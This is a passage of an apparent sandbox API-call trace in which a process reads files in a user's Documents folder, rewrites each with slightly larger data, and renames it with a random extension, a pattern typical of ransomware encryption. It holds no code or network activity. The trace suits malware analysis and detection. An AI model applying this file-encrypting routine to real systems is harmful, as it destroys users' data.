nFileSizeHigh=0x0, nFileSizeLow=0x17690)) returned 1 [0151.974] SetErrorMode (uMode=0x0) returned 0x1 [0151.974] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\3cgfzzlg5azlfprbrk.docx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\3CgFzZlG5azlFPRBrK.docx.k0b23c" (normalized: "c:\\users\\keecfmwgj\\documents\\3cgfzzlg5azlfprbrk.docx.k0b23c")) returned 1 [0151.977] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx", lpFilePart=0x0) returned 0x27 [0151.977] SetErrorMode (uMode=0x1) returned 0x0 [0151.977] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\5lsm7.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0151.977] GetFileType (hFile=0x1d0) returned 0x1 [0151.977] SetErrorMode (uMode=0x0) returned 0x1 [0151.977] GetFileType (hFile=0x1d0) returned 0x1 [0151.977] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x11cf0 [0151.978] ReadFile (in: hFile=0x1d0, lpBuffer=0x2878f90, nNumberOfBytesToRead=0x11cf0, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2878f90*, lpNumberOfBytesRead=0x21d4d8*=0x11cf0, lpOverlapped=0x0) returned 1 [0152.008] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx", lpFilePart=0x0) returned 0x27 [0152.008] SetErrorMode (uMode=0x1) returned 0x0 [0152.008] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\5lsm7.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.011] GetFileType (hFile=0x1d0) returned 0x1 [0152.011] SetErrorMode (uMode=0x0) returned 0x1 [0152.011] GetFileType (hFile=0x1d0) returned 0x1 [0152.011] WriteFile (in: hFile=0x1d0, lpBuffer=0x298e4b0*, nNumberOfBytesToWrite=0x11d00, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x298e4b0*, lpNumberOfBytesWritten=0x21d558*=0x11d00, lpOverlapped=0x0) returned 1 [0152.014] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx", lpFilePart=0x0) returned 0x27 [0152.014] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx.mrguuj", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx.mrguuj", lpFilePart=0x0) returned 0x2e [0152.014] SetErrorMode (uMode=0x1) returned 0x0 [0152.014] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\5lsm7.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c0dc0, ftCreationTime.dwHighDateTime=0x1d8b19c, ftLastAccessTime.dwLowDateTime=0xb4f4a740, ftLastAccessTime.dwHighDateTime=0x1d8bd77, ftLastWriteTime.dwLowDateTime=0x5718e720, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x11d00)) returned 1 [0152.014] SetErrorMode (uMode=0x0) returned 0x1 [0152.014] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\5lsm7.xlsx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\5Lsm7.xlsx.mrguuj" (normalized: "c:\\users\\keecfmwgj\\documents\\5lsm7.xlsx.mrguuj")) returned 1 [0152.015] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx", lpFilePart=0x0) returned 0x31 [0152.015] SetErrorMode (uMode=0x1) returned 0x0 [0152.016] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\azctr9nieckoh6b.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.016] GetFileType (hFile=0x1d0) returned 0x1 [0152.016] SetErrorMode (uMode=0x0) returned 0x1 [0152.016] GetFileType (hFile=0x1d0) returned 0x1 [0152.016] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xb4f [0152.016] ReadFile (in: hFile=0x1d0, lpBuffer=0x29a1b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29a1b88*, lpNumberOfBytesRead=0x21d4d8*=0xb4f, lpOverlapped=0x0) returned 1 [0152.080] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx", lpFilePart=0x0) returned 0x31 [0152.080] SetErrorMode (uMode=0x1) returned 0x0 [0152.080] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\azctr9nieckoh6b.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.081] GetFileType (hFile=0x1d0) returned 0x1 [0152.081] SetErrorMode (uMode=0x0) returned 0x1 [0152.082] GetFileType (hFile=0x1d0) returned 0x1 [0152.082] WriteFile (in: hFile=0x1d0, lpBuffer=0x2886da0*, nNumberOfBytesToWrite=0xb50, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2886da0*, lpNumberOfBytesWritten=0x21d478*=0xb50, lpOverlapped=0x0) returned 1 [0152.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx", lpFilePart=0x0) returned 0x31 [0152.084] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx.i0haal", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx.i0haal", lpFilePart=0x0) returned 0x38 [0152.084] SetErrorMode (uMode=0x1) returned 0x0 [0152.084] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\azctr9nieckoh6b.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec083a0, ftCreationTime.dwHighDateTime=0x1d85943, ftLastAccessTime.dwLowDateTime=0x6cb26020, ftLastAccessTime.dwHighDateTime=0x1d89037, ftLastWriteTime.dwLowDateTime=0x57226ca0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xb50)) returned 1 [0152.084] SetErrorMode (uMode=0x0) returned 0x1 [0152.084] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\azctr9nieckoh6b.xlsx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\aZCtR9nIeCkOH6b.xlsx.i0haal" (normalized: "c:\\users\\keecfmwgj\\documents\\azctr9nieckoh6b.xlsx.i0haal")) returned 1 [0152.085] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx", lpFilePart=0x0) returned 0x33 [0152.085] SetErrorMode (uMode=0x1) returned 0x0 [0152.086] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\bjezgjcalbyoqvdoz.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.086] GetFileType (hFile=0x1d0) returned 0x1 [0152.086] SetErrorMode (uMode=0x0) returned 0x1 [0152.086] GetFileType (hFile=0x1d0) returned 0x1 [0152.086] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x18b02 [0152.087] ReadFile (in: hFile=0x1d0, lpBuffer=0x129d1c00, nNumberOfBytesToRead=0x18b02, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x129d1c00*, lpNumberOfBytesRead=0x21d4d8*=0x18b02, lpOverlapped=0x0) returned 1 [0152.125] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx", lpFilePart=0x0) returned 0x33 [0152.125] SetErrorMode (uMode=0x1) returned 0x0 [0152.125] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\bjezgjcalbyoqvdoz.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.127] GetFileType (hFile=0x1d0) returned 0x1 [0152.127] SetErrorMode (uMode=0x0) returned 0x1 [0152.127] GetFileType (hFile=0x1d0) returned 0x1 [0152.127] WriteFile (in: hFile=0x1d0, lpBuffer=0x12a4d3c8*, nNumberOfBytesToWrite=0x18b10, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x12a4d3c8*, lpNumberOfBytesWritten=0x21d558*=0x18b10, lpOverlapped=0x0) returned 1 [0152.131] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx", lpFilePart=0x0) returned 0x33 [0152.131] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx.32cbio", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx.32cbio", lpFilePart=0x0) returned 0x3a [0152.131] SetErrorMode (uMode=0x1) returned 0x0 [0152.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\bjezgjcalbyoqvdoz.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdabb3f60, ftCreationTime.dwHighDateTime=0x1d8a8d3, ftLastAccessTime.dwLowDateTime=0x3a2881e0, ftLastAccessTime.dwHighDateTime=0x1d8ab56, ftLastWriteTime.dwLowDateTime=0x572990c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x18b10)) returned 1 [0152.132] SetErrorMode (uMode=0x0) returned 0x1 [0152.132] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx" (normalized: "c:\\users\\keecfmwgj\\documents\\bjezgjcalbyoqvdoz.xlsx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\bjeZGjCALbyoQVDOz.xlsx.32cbio" (normalized: "c:\\users\\keecfmwgj\\documents\\bjezgjcalbyoqvdoz.xlsx.32cbio")) returned 1 [0152.151] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx", lpFilePart=0x0) returned 0x30 [0152.151] SetErrorMode (uMode=0x1) returned 0x0 [0152.151] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\cayzc3lmz5ejn7.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.151] GetFileType (hFile=0x1d0) returned 0x1 [0152.151] SetErrorMode (uMode=0x0) returned 0x1 [0152.151] GetFileType (hFile=0x1d0) returned 0x1 [0152.151] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x8d9e [0152.151] ReadFile (in: hFile=0x1d0, lpBuffer=0x2969618, nNumberOfBytesToRead=0x8d9e, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2969618*, lpNumberOfBytesRead=0x21d4d8*=0x8d9e, lpOverlapped=0x0) returned 1 [0152.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx", lpFilePart=0x0) returned 0x30 [0152.218] SetErrorMode (uMode=0x1) returned 0x0 [0152.219] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\cayzc3lmz5ejn7.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.220] GetFileType (hFile=0x1d0) returned 0x1 [0152.220] SetErrorMode (uMode=0x0) returned 0x1 [0152.221] GetFileType (hFile=0x1d0) returned 0x1 [0152.221] WriteFile (in: hFile=0x1d0, lpBuffer=0x287d7a8*, nNumberOfBytesToWrite=0x8da0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x287d7a8*, lpNumberOfBytesWritten=0x21d558*=0x8da0, lpOverlapped=0x0) returned 1 [0152.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx", lpFilePart=0x0) returned 0x30 [0152.223] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx.nbc7iy", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx.nbc7iy", lpFilePart=0x0) returned 0x37 [0152.223] SetErrorMode (uMode=0x1) returned 0x0 [0152.223] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\cayzc3lmz5ejn7.pptx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23f893f0, ftCreationTime.dwHighDateTime=0x1d84c8e, ftLastAccessTime.dwLowDateTime=0x724615a0, ftLastAccessTime.dwHighDateTime=0x1d88870, ftLastWriteTime.dwLowDateTime=0x5737d900, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x8da0)) returned 1 [0152.223] SetErrorMode (uMode=0x0) returned 0x1 [0152.223] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\cayzc3lmz5ejn7.pptx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\CAYzC3LmZ5EJN7.pptx.nbc7iy" (normalized: "c:\\users\\keecfmwgj\\documents\\cayzc3lmz5ejn7.pptx.nbc7iy")) returned 1 [0152.224] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv", lpFilePart=0x0) returned 0x2f [0152.224] SetErrorMode (uMode=0x1) returned 0x0 [0152.225] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\dg0raqfzdhug15.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.225] GetFileType (hFile=0x1d0) returned 0x1 [0152.225] SetErrorMode (uMode=0x0) returned 0x1 [0152.225] GetFileType (hFile=0x1d0) returned 0x1 [0152.225] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x16fb4 [0152.226] ReadFile (in: hFile=0x1d0, lpBuffer=0x12a65f08, nNumberOfBytesToRead=0x16fb4, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x12a65f08*, lpNumberOfBytesRead=0x21d4d8*=0x16fb4, lpOverlapped=0x0) returned 1 [0152.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv", lpFilePart=0x0) returned 0x2f [0152.273] SetErrorMode (uMode=0x1) returned 0x0 [0152.273] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\dg0raqfzdhug15.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.275] GetFileType (hFile=0x1d0) returned 0x1 [0152.275] SetErrorMode (uMode=0x0) returned 0x1 [0152.275] GetFileType (hFile=0x1d0) returned 0x1 [0152.275] WriteFile (in: hFile=0x1d0, lpBuffer=0x127c0ba0*, nNumberOfBytesToWrite=0x16fc0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x127c0ba0*, lpNumberOfBytesWritten=0x21d558*=0x16fc0, lpOverlapped=0x0) returned 1 [0152.278] CloseHandle (hObject=0x1d0) returned 1 [0152.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv", lpFilePart=0x0) returned 0x2f [0152.280] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv.ktemy1", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv.ktemy1", lpFilePart=0x0) returned 0x36 [0152.281] SetErrorMode (uMode=0x1) returned 0x0 [0152.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\dg0raqfzdhug15.csv"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c6b8890, ftCreationTime.dwHighDateTime=0x1d8c0bc, ftLastAccessTime.dwLowDateTime=0x91562bd0, ftLastAccessTime.dwHighDateTime=0x1d8c0ef, ftLastWriteTime.dwLowDateTime=0x57415e80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16fc0)) returned 1 [0152.281] SetErrorMode (uMode=0x0) returned 0x1 [0152.281] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv" (normalized: "c:\\users\\keecfmwgj\\documents\\dg0raqfzdhug15.csv"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\DG0rAqFzdHUG15.csv.ktemy1" (normalized: "c:\\users\\keecfmwgj\\documents\\dg0raqfzdhug15.csv.ktemy1")) returned 1 [0152.282] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx", lpFilePart=0x0) returned 0x2d [0152.282] SetErrorMode (uMode=0x1) returned 0x0 [0152.282] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\fqrlvgp_7y0.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.282] GetFileType (hFile=0x1d0) returned 0x1 [0152.282] SetErrorMode (uMode=0x0) returned 0x1 [0152.282] GetFileType (hFile=0x1d0) returned 0x1 [0152.283] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0xfc98 [0152.283] ReadFile (in: hFile=0x1d0, lpBuffer=0x2814368, nNumberOfBytesToRead=0xfc98, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2814368*, lpNumberOfBytesRead=0x21d4d8*=0xfc98, lpOverlapped=0x0) returned 1 [0152.284] CloseHandle (hObject=0x1d0) returned 1 [0152.366] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx", lpFilePart=0x0) returned 0x2d [0152.366] SetErrorMode (uMode=0x1) returned 0x0 [0152.366] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\fqrlvgp_7y0.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.368] GetFileType (hFile=0x1d0) returned 0x1 [0152.368] SetErrorMode (uMode=0x0) returned 0x1 [0152.368] GetFileType (hFile=0x1d0) returned 0x1 [0152.368] WriteFile (in: hFile=0x1d0, lpBuffer=0x2923768*, nNumberOfBytesToWrite=0xfca0, lpNumberOfBytesWritten=0x21d558, lpOverlapped=0x0 | out: lpBuffer=0x2923768*, lpNumberOfBytesWritten=0x21d558*=0xfca0, lpOverlapped=0x0) returned 1 [0152.370] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx", lpFilePart=0x0) returned 0x2d [0152.371] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx.64ehxa", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx.64ehxa", lpFilePart=0x0) returned 0x34 [0152.371] SetErrorMode (uMode=0x1) returned 0x0 [0152.371] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\fqrlvgp_7y0.pptx"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4951b0, ftCreationTime.dwHighDateTime=0x1d8372a, ftLastAccessTime.dwLowDateTime=0xba90f110, ftLastAccessTime.dwHighDateTime=0x1d8a682, ftLastWriteTime.dwLowDateTime=0x574fa6c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xfca0)) returned 1 [0152.371] SetErrorMode (uMode=0x0) returned 0x1 [0152.371] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\fqrlvgp_7y0.pptx"), lpNewFileName="C:\\Users\\kEecfMwgj\\Documents\\FQRLvgP_7y0.pptx.64ehxa" (normalized: "c:\\users\\keecfmwgj\\documents\\fqrlvgp_7y0.pptx.64ehxa")) returned 1 [0152.372] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx", lpFilePart=0x0) returned 0x2b [0152.372] SetErrorMode (uMode=0x1) returned 0x0 [0152.372] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\FYYNoNjqg.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\fyynonjqg.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0152.372] GetFileType (hFile=0x1d0) returned 0x1 [0152.373] SetErrorMode (uMode=0x0) returned 0x1 [0152.373] GetFileType (hFile=0x1d0) returned 0x1 [0152.373] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x60f6 [0152.373] ReadFile (in: hFile=0x1d0, 